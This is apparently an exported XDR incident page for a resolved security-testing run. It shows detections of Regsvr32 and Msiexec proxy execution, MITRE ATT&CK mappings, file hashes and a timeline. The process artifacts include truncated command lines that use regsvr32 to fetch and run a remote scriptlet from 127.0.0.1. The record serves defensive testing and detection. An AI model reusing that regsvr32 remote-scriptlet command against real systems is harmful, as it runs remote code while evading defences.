HIGH 'Regsvr32 may have run code from an untrusted source' along with 2 other issues

RESOLVED SECURITY TESTING ID: #1046 | Created: 2026-01-08 16:36:42
XDR Console
3
Alerts
1
Hosts
11
Files
0
Network
Incident Overview

'Regsvr32 may have run code from an untrusted source' along with 2 other issues generated by XDR BIOC and XDR Agent detected on host book-r0be6s1nc3 involving 2 users

3
2026-01-08 16:42
Unassigned
XDR BIOC, XDR Agent
Malware Execution
Affected Hosts & Users
book-r0be6s1nc3\ubuntu ubuntu
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0011 - Command and Control
T1218.010 - System Binary Proxy Execution: Regsvr32 T1218.007 - System Binary Proxy Execution: Msiexec T1071.001 - Application Layer Protocol: Web Protocols
File Artifacts 11
File Name Path SHA256 Signature Verdict Actions
regsvr32.exe - f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e SIGNATURE_SIGNED UNKNOWN VT
cmd.exe - 64afc6db3aad1289533662e2d79e27dd55c7dcdb8cd918b08e145ad82ad5acb4 SIGNATURE_SIGNED UNKNOWN VT
powershell.exe - 0ff6f2c94bc7e2833a5f7e16de1622e5dba70396f31c7d5f56381870317e8c46 SIGNATURE_SIGNED UNKNOWN VT
net1.exe - 8489db35375d890314eb8f7cd9e0cbd3866475f4e252865f00f649b0a02fd757 SIGNATURE_SIGNED UNKNOWN VT
net.exe - bb3e638c8b5b6ef80847e364aeef2796cad25d3539cf9b41d3820fa48943e777 SIGNATURE_SIGNED UNKNOWN VT
python.exe - 7d96a4ed35d6e596cd9dd8933feafc66349cc21f75be3b15c89fd336e50140c1 SIGNATURE_SIGNED UNKNOWN VT
python.exe - d70fced7f461f38f9f224d8673fb74e96e4facb4283ff4e8697543b457fea8a0 SIGNATURE_SIGNED UNKNOWN VT
whoami.exe - 23240ef9f8b0a9a324110b1c2331de31dc1b0e08f5359cb707e51a939af56cd3 SIGNATURE_SIGNED UNKNOWN VT
conhost.exe - 6651a3beb0df1e66363a950c37dc9305f185d161fb03761e172ccfa0a4ab4f89 SIGNATURE_SIGNED UNKNOWN VT
timeout.exe - 106490870753d87d0c5a1b4fe83045a06518d415ec595bd1d0c30fe3ed4149c1 SIGNATURE_SIGNED UNKNOWN VT
msiexec.exe - 677417ba3ad87f73cd95ad30423998c6089e7eef381b309a562cda1eb6fe178e SIGNATURE_SIGNED UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 3
Process Command Line Parent Process User
cmd.exe C:\windows\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_incident_runner... cmd.exe ubuntu
cmd.exe C:\windows\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe BOOK-R0BE6S1NC3\ubuntu
cmd.exe C:\windows\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe BOOK-R0BE6S1NC3\ubuntu
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
Bulk resolved via XdrTestManager IncidentLive
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
3
Alerts
1
Hosts
11
Files
0
Network
Alert Categories
Malware Execution
Timeline
01-08 16:42:05
Incident Modified
Status or details updated
01-08 16:42:05
Incident Resolved
resolved security testing
01-08 16:36:53
Network Connection - 1971152322
high - Prevented (Blocked)
01-08 16:36:42
Incident Created
#1046 - 'Regsvr32 may have run code from an untrusted source' along with 2 other issues
01-08 16:36:42
regsvr32.exe
Verdict: Unknown
01-08 16:36:42
cmd.exe
Verdict: Unknown
01-08 16:36:42
powershell.exe
Verdict: Unknown
01-08 16:36:42
net1.exe
Verdict: Unknown
01-08 16:36:42
net.exe
Verdict: Unknown
01-08 16:36:42
python.exe
Verdict: Unknown
01-08 16:36:42
python.exe
Verdict: Unknown
01-08 16:36:42
whoami.exe
Verdict: Unknown
01-08 16:36:42
conhost.exe
Verdict: Unknown
01-08 16:36:42
timeout.exe
Verdict: Unknown
01-08 16:36:37
Regsvr32 may have run code from an untrusted source
high - Detected
01-08 16:36:37
Suspicious Process Creation
medium - Prevented (Blocked)